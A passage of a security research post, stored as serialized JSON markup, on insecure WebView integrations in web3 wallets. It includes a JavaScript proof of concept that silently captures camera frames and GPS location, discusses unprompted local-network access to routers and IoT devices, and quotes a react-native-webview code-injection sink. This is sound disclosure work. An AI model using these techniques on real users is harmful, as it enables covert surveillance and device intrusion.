canvas",{"type":21,"tag":198,"props":158026,"children":158027},{"style":683},[158028],{"type":27,"value":33690},{"type":21,"tag":198,"props":158030,"children":158031},{"style":226},[158032],{"type":27,"value":1300},{"type":21,"tag":198,"props":158034,"children":158035},{"style":683},[158036],{"type":27,"value":658},{"type":21,"tag":198,"props":158038,"children":158039},{"style":698},[158040],{"type":27,"value":37493},{"type":21,"tag":198,"props":158042,"children":158043},{"style":683},[158044],{"type":27,"value":706},{"type":21,"tag":198,"props":158046,"children":158047},{"style":205},[158048],{"type":27,"value":158049},"\"canvas\"",{"type":21,"tag":198,"props":158051,"children":158052},{"style":683},[158053],{"type":27,"value":1470},{"type":21,"tag":198,"props":158055,"children":158056},{"class":200,"line":4706},[158057],{"type":21,"tag":198,"props":158058,"children":158059},{"emptyLinePlaceholder":16},[158060],{"type":27,"value":1283},{"type":21,"tag":198,"props":158062,"children":158063},{"class":200,"line":9857},[158064,158068,158072,158077,158082,158086],{"type":21,"tag":198,"props":158065,"children":158066},{"style":226},[158067],{"type":27,"value":157991},{"type":21,"tag":198,"props":158069,"children":158070},{"style":683},[158071],{"type":27,"value":658},{"type":21,"tag":198,"props":158073,"children":158074},{"style":698},[158075],{"type":27,"value":158076},"onloadedmetadata",{"type":21,"tag":198,"props":158078,"children":158079},{"style":683},[158080],{"type":27,"value":158081}," = () ",{"type":21,"tag":198,"props":158083,"children":158084},{"style":249},[158085],{"type":27,"value":15626},{"type":21,"tag":198,"props":158087,"children":158088},{"style":683},[158089],{"type":27,"value":233},{"type":21,"tag":198,"props":158091,"children":158092},{"class":200,"line":9875},[158093,158098,158102,158107,158111,158115,158119,158124],{"type":21,"tag":198,"props":158094,"children":158095},{"style":226},[158096],{"type":27,"value":158097}," canvas",{"type":21,"tag":198,"props":158099,"children":158100},{"style":683},[158101],{"type":27,"value":658},{"type":21,"tag":198,"props":158103,"children":158104},{"style":226},[158105],{"type":27,"value":158106},"width",{"type":21,"tag":198,"props":158108,"children":158109},{"style":683},[158110],{"type":27,"value":33690},{"type":21,"tag":198,"props":158112,"children":158113},{"style":226},[158114],{"type":27,"value":132240},{"type":21,"tag":198,"props":158116,"children":158117},{"style":683},[158118],{"type":27,"value":658},{"type":21,"tag":198,"props":158120,"children":158121},{"style":226},[158122],{"type":27,"value":158123},"videoWidth",{"type":21,"tag":198,"props":158125,"children":158126},{"style":683},[158127],{"type":27,"value":1483},{"type":21,"tag":198,"props":158129,"children":158130},{"class":200,"line":9920},[158131,158135,158139,158144,158148,158152,158156,158161],{"type":21,"tag":198,"props":158132,"children":158133},{"style":226},[158134],{"type":27,"value":158097},{"type":21,"tag":198,"props":158136,"children":158137},{"style":683},[158138],{"type":27,"value":658},{"type":21,"tag":198,"props":158140,"children":158141},{"style":226},[158142],{"type":27,"value":158143},"height",{"type":21,"tag":198,"props":158145,"children":158146},{"style":683},[158147],{"type":27,"value":33690},{"type":21,"tag":198,"props":158149,"children":158150},{"style":226},[158151],{"type":27,"value":132240},{"type":21,"tag":198,"props":158153,"children":158154},{"style":683},[158155],{"type":27,"value":658},{"type":21,"tag":198,"props":158157,"children":158158},{"style":226},[158159],{"type":27,"value":158160},"videoHeight",{"type":21,"tag":198,"props":158162,"children":158163},{"style":683},[158164],{"type":27,"value":1483},{"type":21,"tag":198,"props":158166,"children":158167},{"class":200,"line":10026},[158168],{"type":21,"tag":198,"props":158169,"children":158170},{"style":683},[158171],{"type":27,"value":1144},{"type":21,"tag":198,"props":158173,"children":158174},{"class":200,"line":24302},[158175],{"type":21,"tag":198,"props":158176,"children":158177},{"emptyLinePlaceholder":16},[158178],{"type":27,"value":1283},{"type":21,"tag":198,"props":158180,"children":158181},{"class":200,"line":24337},[158182,158187,158191,158196,158200,158204,158208],{"type":21,"tag":198,"props":158183,"children":158184},{"style":226},[158185],{"type":27,"value":158186}," connect",{"type":21,"tag":198,"props":158188,"children":158189},{"style":683},[158190],{"type":27,"value":658},{"type":21,"tag":198,"props":158192,"children":158193},{"style":698},[158194],{"type":27,"value":158195},"onclick",{"type":21,"tag":198,"props":158197,"children":158198},{"style":683},[158199],{"type":27,"value":33690},{"type":21,"tag":198,"props":158201,"children":158202},{"style":226},[158203],{"type":27,"value":51830},{"type":21,"tag":198,"props":158205,"children":158206},{"style":249},[158207],{"type":27,"value":838},{"type":21,"tag":198,"props":158209,"children":158210},{"style":683},[158211],{"type":27,"value":233},{"type":21,"tag":198,"props":158213,"children":158214},{"class":200,"line":24345},[158215,158220,158224,158229],{"type":21,"tag":198,"props":158216,"children":158217},{"style":226},[158218],{"type":27,"value":158219}," video",{"type":21,"tag":198,"props":158221,"children":158222},{"style":683},[158223],{"type":27,"value":658},{"type":21,"tag":198,"props":158225,"children":158226},{"style":698},[158227],{"type":27,"value":158228},"play",{"type":21,"tag":198,"props":158230,"children":158231},{"style":683},[158232],{"type":27,"value":3404},{"type":21,"tag":198,"props":158234,"children":158235},{"class":200,"line":24353},[158236],{"type":21,"tag":198,"props":158237,"children":158238},{"emptyLinePlaceholder":16},[158239],{"type":27,"value":1283},{"type":21,"tag":198,"props":158241,"children":158242},{"class":200,"line":24362},[158243,158247,158251,158256,158260,158265,158269,158274,158278,158282,158286,158290,158294,158298],{"type":21,"tag":198,"props":158244,"children":158245},{"style":226},[158246],{"type":27,"value":158097},{"type":21,"tag":198,"props":158248,"children":158249},{"style":683},[158250],{"type":27,"value":658},{"type":21,"tag":198,"props":158252,"children":158253},{"style":698},[158254],{"type":27,"value":158255},"getContext",{"type":21,"tag":198,"props":158257,"children":158258},{"style":683},[158259],{"type":27,"value":706},{"type":21,"tag":198,"props":158261,"children":158262},{"style":205},[158263],{"type":27,"value":158264},"\"2d\"",{"type":21,"tag":198,"props":158266,"children":158267},{"style":683},[158268],{"type":27,"value":3394},{"type":21,"tag":198,"props":158270,"children":158271},{"style":698},[158272],{"type":27,"value":158273},"drawImage",{"type":21,"tag":198,"props":158275,"children":158276},{"style":683},[158277],{"type":27,"value":706},{"type":21,"tag":198,"props":158279,"children":158280},{"style":226},[158281],{"type":27,"value":132240},{"type":21,"tag":198,"props":158283,"children":158284},{"style":683},[158285],{"type":27,"value":828},{"type":21,"tag":198,"props":158287,"children":158288},{"style":2540},[158289],{"type":27,"value":3482},{"type":21,"tag":198,"props":158291,"children":158292},{"style":683},[158293],{"type":27,"value":828},{"type":21,"tag":198,"props":158295,"children":158296},{"style":2540},[158297],{"type":27,"value":3482},{"type":21,"tag":198,"props":158299,"children":158300},{"style":683},[158301],{"type":27,"value":1470},{"type":21,"tag":198,"props":158303,"children":158304},{"class":200,"line":24404},[158305,158310,158314,158319,158323,158328,158332,158336,158340,158345,158349,158354],{"type":21,"tag":198,"props":158306,"children":158307},{"style":226},[158308],{"type":27,"value":158309}," stream",{"type":21,"tag":198,"props":158311,"children":158312},{"style":683},[158313],{"type":27,"value":658},{"type":21,"tag":198,"props":158315,"children":158316},{"style":698},[158317],{"type":27,"value":158318},"getTracks",{"type":21,"tag":198,"props":158320,"children":158321},{"style":683},[158322],{"type":27,"value":30969},{"type":21,"tag":198,"props":158324,"children":158325},{"style":698},[158326],{"type":27,"value":158327},"forEach",{"type":21,"tag":198,"props":158329,"children":158330},{"style":683},[158331],{"type":27,"value":706},{"type":21,"tag":198,"props":158333,"children":158334},{"style":226},[158335],{"type":27,"value":22523},{"type":21,"tag":198,"props":158337,"children":158338},{"style":249},[158339],{"type":27,"value":838},{"type":21,"tag":198,"props":158341,"children":158342},{"style":226},[158343],{"type":27,"value":158344}," t",{"type":21,"tag":198,"props":158346,"children":158347},{"style":683},[158348],{"type":27,"value":658},{"type":21,"tag":198,"props":158350,"children":158351},{"style":698},[158352],{"type":27,"value":158353},"stop",{"type":21,"tag":198,"props":158355,"children":158356},{"style":683},[158357],{"type":27,"value":16229},{"type":21,"tag":198,"props":158359,"children":158360},{"class":200,"line":24437},[158361,158365,158369,158374,158378,158382,158386,158390],{"type":21,"tag":198,"props":158362,"children":158363},{"style":226},[158364],{"type":27,"value":158097},{"type":21,"tag":198,"props":158366,"children":158367},{"style":683},[158368],{"type":27,"value":658},{"type":21,"tag":198,"props":158370,"children":158371},{"style":698},[158372],{"type":27,"value":158373},"toBlob",{"type":21,"tag":198,"props":158375,"children":158376},{"style":683},[158377],{"type":27,"value":32310},{"type":21,"tag":198,"props":158379,"children":158380},{"style":226},[158381],{"type":27,"value":33727},{"type":21,"tag":198,"props":158383,"children":158384},{"style":683},[158385],{"type":27,"value":1541},{"type":21,"tag":198,"props":158387,"children":158388},{"style":249},[158389],{"type":27,"value":15626},{"type":21,"tag":198,"props":158391,"children":158392},{"style":683},[158393],{"type":27,"value":233},{"type":21,"tag":198,"props":158395,"children":158396},{"class":200,"line":24445},[158397,158402,158406,158410,158414,158419,158423,158428,158432,158436],{"type":21,"tag":198,"props":158398,"children":158399},{"style":226},[158400],{"type":27,"value":158401}," pic",{"type":21,"tag":198,"props":158403,"children":158404},{"style":683},[158405],{"type":27,"value":658},{"type":21,"tag":198,"props":158407,"children":158408},{"style":226},[158409],{"type":27,"value":1636},{"type":21,"tag":198,"props":158411,"children":158412},{"style":683},[158413],{"type":27,"value":33690},{"type":21,"tag":198,"props":158415,"children":158416},{"style":226},[158417],{"type":27,"value":158418},"URL",{"type":21,"tag":198,"props":158420,"children":158421},{"style":683},[158422],{"type":27,"value":658},{"type":21,"tag":198,"props":158424,"children":158425},{"style":698},[158426],{"type":27,"value":158427},"createObjectURL",{"type":21,"tag":198,"props":158429,"children":158430},{"style":683},[158431],{"type":27,"value":706},{"type":21,"tag":198,"props":158433,"children":158434},{"style":226},[158435],{"type":27,"value":33727},{"type":21,"tag":198,"props":158437,"children":158438},{"style":683},[158439],{"type":27,"value":1470},{"type":21,"tag":198,"props":158441,"children":158442},{"class":200,"line":24453},[158443],{"type":21,"tag":198,"props":158444,"children":158445},{"style":683},[158446],{"type":27,"value":158447}," });\n",{"type":21,"tag":198,"props":158449,"children":158450},{"class":200,"line":24462},[158451],{"type":21,"tag":198,"props":158452,"children":158453},{"emptyLinePlaceholder":16},[158454],{"type":27,"value":1283},{"type":21,"tag":198,"props":158456,"children":158457},{"class":200,"line":24538},[158458,158463,158467,158472,158476,158481,158485,158490,158494],{"type":21,"tag":198,"props":158459,"children":158460},{"style":226},[158461],{"type":27,"value":158462}," navigator",{"type":21,"tag":198,"props":158464,"children":158465},{"style":683},[158466],{"type":27,"value":658},{"type":21,"tag":198,"props":158468,"children":158469},{"style":226},[158470],{"type":27,"value":158471},"geolocation",{"type":21,"tag":198,"props":158473,"children":158474},{"style":683},[158475],{"type":27,"value":658},{"type":21,"tag":198,"props":158477,"children":158478},{"style":698},[158479],{"type":27,"value":158480},"getCurrentPosition",{"type":21,"tag":198,"props":158482,"children":158483},{"style":683},[158484],{"type":27,"value":706},{"type":21,"tag":198,"props":158486,"children":158487},{"style":226},[158488],{"type":27,"value":158489},"pos",{"type":21,"tag":198,"props":158491,"children":158492},{"style":249},[158493],{"type":27,"value":838},{"type":21,"tag":198,"props":158495,"children":158496},{"style":683},[158497],{"type":27,"value":233},{"type":21,"tag":198,"props":158499,"children":158500},{"class":200,"line":24571},[158501,158506,158510,158514,158518,158522,158527],{"type":21,"tag":198,"props":158502,"children":158503},{"style":249},[158504],{"type":27,"value":158505}," const",{"type":21,"tag":198,"props":158507,"children":158508},{"style":226},[158509],{"type":27,"value":38207},{"type":21,"tag":198,"props":158511,"children":158512},{"style":683},[158513],{"type":27,"value":33690},{"type":21,"tag":198,"props":158515,"children":158516},{"style":226},[158517],{"type":27,"value":158489},{"type":21,"tag":198,"props":158519,"children":158520},{"style":683},[158521],{"type":27,"value":658},{"type":21,"tag":198,"props":158523,"children":158524},{"style":226},[158525],{"type":27,"value":158526},"coords",{"type":21,"tag":198,"props":158528,"children":158529},{"style":683},[158530],{"type":27,"value":1483},{"type":21,"tag":198,"props":158532,"children":158533},{"class":200,"line":24579},[158534,158539,158543,158547,158551,158556,158560,158564,158568,158573,158577,158582,158586,158590,158594,158598,158602,158607,158611,158615,158619,158624,158628,158632,158636,158640,158644,158648,158652],{"type":21,"tag":198,"props":158535,"children":158536},{"style":226},[158537],{"type":27,"value":158538}," gps",{"type":21,"tag":198,"props":158540,"children":158541},{"style":683},[158542],{"type":27,"value":658},{"type":21,"tag":198,"props":158544,"children":158545},{"style":226},[158546],{"type":27,"value":35741},{"type":21,"tag":198,"props":158548,"children":158549},{"style":683},[158550],{"type":27,"value":33690},{"type":21,"tag":198,"props":158552,"children":158553},{"style":205},[158554],{"type":27,"value":158555},"`Lat: ",{"type":21,"tag":198,"props":158557,"children":158558},{"style":249},[158559],{"type":27,"value":756},{"type":21,"tag":198,"props":158561,"children":158562},{"style":226},[158563],{"type":27,"value":3954},{"type":21,"tag":198,"props":158565,"children":158566},{"style":683},[158567],{"type":27,"value":658},{"type":21,"tag":198,"props":158569,"children":158570},{"style":226},[158571],{"type":27,"value":158572},"latitude",{"type":21,"tag":198,"props":158574,"children":158575},{"style":683},[158576],{"type":27,"value":658},{"type":21,"tag":198,"props":158578,"children":158579},{"style":698},[158580],{"type":27,"value":158581},"toFixed",{"type":21,"tag":198,"props":158583,"children":158584},{"style":683},[158585],{"type":27,"value":706},{"type":21,"tag":198,"props":158587,"children":158588},{"style":2540},[158589],{"type":27,"value":134},{"type":21,"tag":198,"props":158591,"children":158592},{"style":683},[158593],{"type":27,"value":2109},{"type":21,"tag":198,"props":158595,"children":158596},{"style":249},[158597],{"type":27,"value":779},{"type":21,"tag":198,"props":158599,"children":158600},{"style":1457},[158601],{"type":27,"value":1460},{"type":21,"tag":198,"props":158603,"children":158604},{"style":205},[158605],{"type":27,"value":158606},"Lon: ",{"type":21,"tag":198,"props":158608,"children":158609},{"style":249},[158610],{"type":27,"value":756},{"type":21,"tag":198,"props":158612,"children":158613},{"style":226},[158614],{"type":27,"value":3954},{"type":21,"tag":198,"props":158616,"children":158617},{"style":683},[158618],{"type":27,"value":658},{"type":21,"tag":198,"props":158620,"children":158621},{"style":226},[158622],{"type":27,"value":158623},"longitude",{"type":21,"tag":198,"props":158625,"children":158626},{"style":683},[158627],{"type":27,"value":658},{"type":21,"tag":198,"props":158629,"children":158630},{"style":698},[158631],{"type":27,"value":158581},{"type":21,"tag":198,"props":158633,"children":158634},{"style":683},[158635],{"type":27,"value":706},{"type":21,"tag":198,"props":158637,"children":158638},{"style":2540},[158639],{"type":27,"value":134},{"type":21,"tag":198,"props":158641,"children":158642},{"style":683},[158643],{"type":27,"value":2109},{"type":21,"tag":198,"props":158645,"children":158646},{"style":249},[158647],{"type":27,"value":779},{"type":21,"tag":198,"props":158649,"children":158650},{"style":205},[158651],{"type":27,"value":11191},{"type":21,"tag":198,"props":158653,"children":158654},{"style":683},[158655],{"type":27,"value":1483},{"type":21,"tag":198,"props":158657,"children":158658},{"class":200,"line":24587},[158659,158664,158668,158672,158677,158681,158685],{"type":21,"tag":198,"props":158660,"children":158661},{"style":683},[158662],{"type":27,"value":158663}," }, ",{"type":21,"tag":198,"props":158665,"children":158666},{"style":226},[158667],{"type":27,"value":1507},{"type":21,"tag":198,"props":158669,"children":158670},{"style":249},[158671],{"type":27,"value":838},{"type":21,"tag":198,"props":158673,"children":158674},{"style":698},[158675],{"type":27,"value":158676}," alert",{"type":21,"tag":198,"props":158678,"children":158679},{"style":683},[158680],{"type":27,"value":706},{"type":21,"tag":198,"props":158682,"children":158683},{"style":226},[158684],{"type":27,"value":1507},{"type":21,"tag":198,"props":158686,"children":158687},{"style":683},[158688],{"type":27,"value":8035},{"type":21,"tag":198,"props":158690,"children":158691},{"class":200,"line":24624},[158692],{"type":21,"tag":198,"props":158693,"children":158694},{"style":683},[158695],{"type":27,"value":1144},{"type":21,"tag":198,"props":158697,"children":158698},{"class":200,"line":24637},[158699],{"type":21,"tag":198,"props":158700,"children":158701},{"emptyLinePlaceholder":16},[158702],{"type":27,"value":1283},{"type":21,"tag":198,"props":158704,"children":158705},{"class":200,"line":24650},[158706],{"type":21,"tag":198,"props":158707,"children":158708},{"style":683},[158709],{"type":27,"value":1160},{"type":21,"tag":198,"props":158711,"children":158712},{"class":200,"line":24663},[158713,158718],{"type":21,"tag":198,"props":158714,"children":158715},{"style":698},[158716],{"type":27,"value":158717}," main",{"type":21,"tag":198,"props":158719,"children":158720},{"style":683},[158721],{"type":27,"value":3404},{"type":21,"tag":198,"props":158723,"children":158724},{"class":200,"line":24717},[158725,158729,158733],{"type":21,"tag":198,"props":158726,"children":158727},{"style":3156},[158728],{"type":27,"value":33607},{"type":21,"tag":198,"props":158730,"children":158731},{"style":249},[158732],{"type":27,"value":33199},{"type":21,"tag":198,"props":158734,"children":158735},{"style":3156},[158736],{"type":27,"value":3203},{"type":21,"tag":198,"props":158738,"children":158739},{"class":200,"line":24726},[158740,158744,158748],{"type":21,"tag":198,"props":158741,"children":158742},{"style":3156},[158743],{"type":27,"value":33213},{"type":21,"tag":198,"props":158745,"children":158746},{"style":249},[158747],{"type":27,"value":3342},{"type":21,"tag":198,"props":158749,"children":158750},{"style":3156},[158751],{"type":27,"value":3203},{"type":21,"tag":198,"props":158753,"children":158754},{"class":200,"line":33067},[158755,158759,158763],{"type":21,"tag":198,"props":158756,"children":158757},{"style":3156},[158758],{"type":27,"value":33213},{"type":21,"tag":198,"props":158760,"children":158761},{"style":249},[158762],{"type":27,"value":3146},{"type":21,"tag":198,"props":158764,"children":158765},{"style":3156},[158766],{"type":27,"value":3203},{"type":21,"tag":162,"props":158768,"children":158769},{"id":5037},[158770],{"type":27,"value":5040},{"type":21,"tag":30,"props":158772,"children":158773},{},[158774],{"type":27,"value":158775},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":21,"tag":30,"props":158777,"children":158778},{},[158779,158781,158787],{"type":27,"value":158780},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":21,"tag":34,"props":158782,"children":158785},{"href":158783,"rel":158784},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[38],[158786],{"type":27,"value":625},{"type":27,"value":658},{"type":21,"tag":3164,"props":158789,"children":158790},{"style":3597},[158791],{"type":21,"tag":1376,"props":158792,"children":158796},{"src":158793,"alt":158794,"style":158795},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":21,"tag":30,"props":158798,"children":158799},{},[158800],{"type":27,"value":158801},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":21,"tag":22,"props":158803,"children":158805},{"id":158804},"local-network-access",[158806],{"type":27,"value":158807},"Local Network Access",{"type":21,"tag":30,"props":158809,"children":158810},{},[158811,158813,158820,158822,158828],{"type":27,"value":158812},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":21,"tag":34,"props":158814,"children":158817},{"href":158815,"rel":158816},"https://wicg.github.io/private-network-access/",[38],[158818],{"type":27,"value":158819},"Private Network Access",{"type":27,"value":158821}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":21,"tag":34,"props":158823,"children":158826},{"href":158824,"rel":158825},"https://x.com/taviso/status/2051310678800253318",[38],[158827],{"type":27,"value":158824},{"type":27,"value":158829},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":21,"tag":3164,"props":158831,"children":158832},{"style":3597},[158833],{"type":21,"tag":1376,"props":158834,"children":158837},{"src":158835,"alt":158794,"style":158836},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":21,"tag":30,"props":158839,"children":158840},{},[158841],{"type":27,"value":158842},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":21,"tag":158844,"props":158845,"children":158848},"zoom-image",{"src":158846,"alt":158847},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":21,"tag":30,"props":158850,"children":158851},{},[158852],{"type":27,"value":158853},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":21,"tag":138,"props":158855,"children":158856},{},[158857,158862,158867],{"type":21,"tag":75,"props":158858,"children":158859},{},[158860],{"type":27,"value":158861},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":21,"tag":75,"props":158863,"children":158864},{},[158865],{"type":27,"value":158866},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":21,"tag":75,"props":158868,"children":158869},{},[158870],{"type":27,"value":158871},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":21,"tag":30,"props":158873,"children":158874},{},[158875],{"type":27,"value":158876},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":21,"tag":22,"props":158878,"children":158880},{"id":158879},"uxss-by-code-injection",[158881],{"type":27,"value":158882},"UXSS by Code Injection",{"type":21,"tag":30,"props":158884,"children":158885},{},[158886,158888,158894],{"type":27,"value":158887},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":21,"tag":194,"props":158889,"children":158891},{"className":158890},[],[158892],{"type":27,"value":158893},"injectJavascriptObject",{"type":27,"value":158895}," attribute worked. Here is the code snippet:",{"type":21,"tag":187,"props":158897,"children":158899},{"className":157135,"code":158898,"language":157137,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[158900],{"type":21,"tag":194,"props":158901,"children":158902},{"__ignoreMap":7},[158903,158923,158952,158986,159041,159146,159158,159171],{"type":21,"tag":198,"props":158904,"children":158905},{"class":200,"line":201},[158906,158910,158914,158919],{"type":21,"tag":198,"props":158907,"children":158908},{"style":249},[158909],{"type":27,"value":71163},{"type":21,"tag":198,"props":158911,"children":158912},{"style":1966},[158913],{"type":27,"value":51425},{"type":21,"tag":198,"props":158915,"children":158916},{"style":698},[158917],{"type":27,"value":158918}," injectJavascriptObject",{"type":21,"tag":198,"props":158920,"children":158921},{"style":211},[158922],{"type":27,"value":16539},{"type":21,"tag":198,"props":158924,"children":158925},{"class":200,"line":217},[158926,158930,158934,158939,158943,158948],{"type":21,"tag":198,"props":158927,"children":158928},{"style":640},[158929],{"type":27,"value":676},{"type":21,"tag":198,"props":158931,"children":158932},{"style":211},[158933],{"type":27,"value":648},{"type":21,"tag":198,"props":158935,"children":158936},{"style":698},[158937],{"type":27,"value":158938},"getSettings",{"type":21,"tag":198,"props":158940,"children":158941},{"style":211},[158942],{"type":27,"value":30969},{"type":21,"tag":198,"props":158944,"children":158945},{"style":698},[158946],{"type":27,"value":158947},"getJavaScriptEnabled",{"type":21,"tag":198,"props":158949,"children":158950},{"style":211},[158951],{"type":27,"value":92403},{"type":21,"tag":198,"props":158953,"children":158954},{"class":200,"line":236},[158955,158960,158965,158969,158974,158978,158982],{"type":21,"tag":198,"props":158956,"children":158957},{"style":1966},[158958],{"type":27,"value":158959}," String",{"type":21,"tag":198,"props":158961,"children":158962},{"style":226},[158963],{"type":27,"value":158964}," js",{"type":21,"tag":198,"props":158966,"children":158967},{"style":683},[158968],{"type":27,"value":979},{"type":21,"tag":198,"props":158970,"children":158971},{"style":205},[158972],{"type":27,"value":158973}," \"(function(){",{"type":21,"tag":198,"props":158975,"children":158976},{"style":1457},[158977],{"type":27,"value":1460},{"type":21,"tag":198,"props":158979,"children":158980},{"style":205},[158981],{"type":27,"value":20854},{"type":21,"tag":198,"props":158983,"children":158984},{"style":683},[158985],{"type":27,"value":10597},{"type":21,"tag":198,"props":158987,"children":158988},{"class":200,"line":260},[158989,158994,158998,159003,159007,159012,159016,159020,159024,159029,159033,159037],{"type":21,"tag":198,"props":158990,"children":158991},{"style":205},[158992],{"type":27,"value":158993}," \" window.\"",{"type":21,"tag":198,"props":158995,"children":158996},{"style":683},[158997],{"type":27,"value":1440},{"type":21,"tag":198,"props":158999,"children":159000},{"style":211},[159001],{"type":27,"value":159002}," JAVASCRIPT_INTERFACE ",{"type":21,"tag":198,"props":159004,"children":159005},{"style":683},[159006],{"type":27,"value":5193},{"type":21,"tag":198,"props":159008,"children":159009},{"style":205},[159010],{"type":27,"value":159011}," \" = window.\"",{"type":21,"tag":198,"props":159013,"children":159014},{"style":683},[159015],{"type":27,"value":1440},{"type":21,"tag":198,"props":159017,"children":159018},{"style":211},[159019],{"type":27,"value":159002},{"type":21,"tag":198,"props":159021,"children":159022},{"style":683},[159023],{"type":27,"value":5193},{"type":21,"tag":198,"props":159025,"children":159026},{"style":205},[159027],{"type":27,"value":159028}," \" || {};",{"type":21,"tag":198,"props":159030,"children":159031},{"style":1457},[159032],{"type":27,"value":1460},{"type":21,"tag":198,"props":159034,"children":159035},{"style":205},[159036],{"type":27,"value":20854},{"type":21,"tag":198,"props":159038,"children":159039},{"style":683},[159040],{"type":27,"value":10597},{"type":21,"tag":198,"props":159042,"children":159043},{"class":200,"line":281},[159044,159048,159052,159056,159060,159065,159069,159074,159078,159082,159086,159090,159094,159098,159103,159107,159112,159116,159121,159125,159129,159134,159138,159142],{"type":21,"tag":198,"props":159045,"children":159046},{"style":205},[159047],{"type":27,"value":158993},{"type":21,"tag":198,"props":159049,"children":159050},{"style":683},[159051],{"type":27,"value":1440},{"type":21,"tag":198,"props":159053,"children":159054},{"style":211},[159055],{"type":27,"value":159002},{"type":21,"tag":198,"props":159057,"children":159058},{"style":683},[159059],{"type":27,"value":5193},{"type":21,"tag":198,"props":159061,"children":159062},{"style":205},[159063],{"type":27,"value":159064}," \".injectedObjectJson = function () { return \"",{"type":21,"tag":198,"props":159066,"children":159067},{"style":683},[159068],{"type":27,"value":1440},{"type":21,"tag":198,"props":159070,"children":159071},{"style":211},[159072],{"type":27,"value":159073}," (injectedJavaScriptObject ",{"type":21,"tag":198,"props":159075,"children":159076},{"style":683},[159077],{"type":27,"value":9386},{"type":21,"tag":198,"props":159079,"children":159080},{"style":249},[159081],{"type":27,"value":70649},{"type":21,"tag":198,"props":159083,"children":159084},{"style":640},[159085],{"type":27,"value":98423},{"type":21,"tag":198,"props":159087,"children":159088},{"style":249},[159089],{"type":27,"value":70649},{"type":21,"tag":198,"props":159091,"children":159092},{"style":640},[159093],{"type":27,"value":35891},{"type":21,"tag":198,"props":159095,"children":159096},{"style":211},[159097],{"type":27,"value":648},{"type":21,"tag":198,"props":159099,"children":159100},{"style":205},[159101],{"type":27,"value":159102},"\"`\"",{"type":21,"tag":198,"props":159104,"children":159105},{"style":683},[159106],{"type":27,"value":1440},{"type":21,"tag":198,"props":159108,"children":159109},{"style":211},[159110],{"type":27,"value":159111}," injectedJavaScriptObject ",{"type":21,"tag":198,"props":159113,"children":159114},{"style":683},[159115],{"type":27,"value":5193},{"type":21,"tag":198,"props":159117,"children":159118},{"style":205},[159119],{"type":27,"value":159120}," \"`\"",{"type":21,"tag":198,"props":159122,"children":159123},{"style":211},[159124],{"type":27,"value":9647},{"type":21,"tag":198,"props":159126,"children":159127},{"style":683},[159128],{"type":27,"value":5193},{"type":21,"tag":198,"props":159130,"children":159131},{"style":205},[159132],{"type":27,"value":159133}," \"; };",{"type":21,"tag":198,"props":159135,"children":159136},{"style":1457},[159137],{"type":27,"value":1460},{"type":21,"tag":198,"props":159139,"children":159140},{"style":205},[159141],{"type":27,"value":20854},{"type":21,"tag":198,"props":159143,"children":159144},{"style":683},[159145],{"type":27,"value":10597},{"type":21,"tag":198,"props":159147,"children":159148},{"class":200,"line":302},[159149,159154],{"type":21,"tag":198,"props":159150,"children":159151},{"style":205},[159152],{"type":27,"value":159153}," \"})();\"",{"type":21,"tag":198,"props":159155,"children":159156},{"style":211},[159157],{"type":27,"value":1483},{"type":21,"tag":198,"props":159159,"children":159160},{"class":200,"line":323},[159161,159166],{"type":21,"tag":198,"props":159162,"children":159163},{"style":698},[159164],{"type":27,"value":159165}," evaluateJavascriptWithFallback",{"type":21,"tag":198,"props":159167,"children":159168},{"style":211},[159169],{"type":27,"value":159170},"(js);\n",{"type":21,"tag":198,"props":159172,"children":159173},{"class":200,"line":344},[159174],{"type":21,"tag":198,"props":159175,"children":159176},{"style":211},[159177],{"type":27,"value":797},{"type":21,"tag":30,"props":159179,"children":159180},{},[159181,159183,159189,159191,159196,159198,159204],{"type":27,"value":159182},"It basically injects a javascript code with the ",{"type":21,"tag":194,"props":159184,"children":159186},{"className":159185},[],[159187],{"type":27,"value":159188},"injectedJavascriptObject",{"type":27,"value":159190}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control 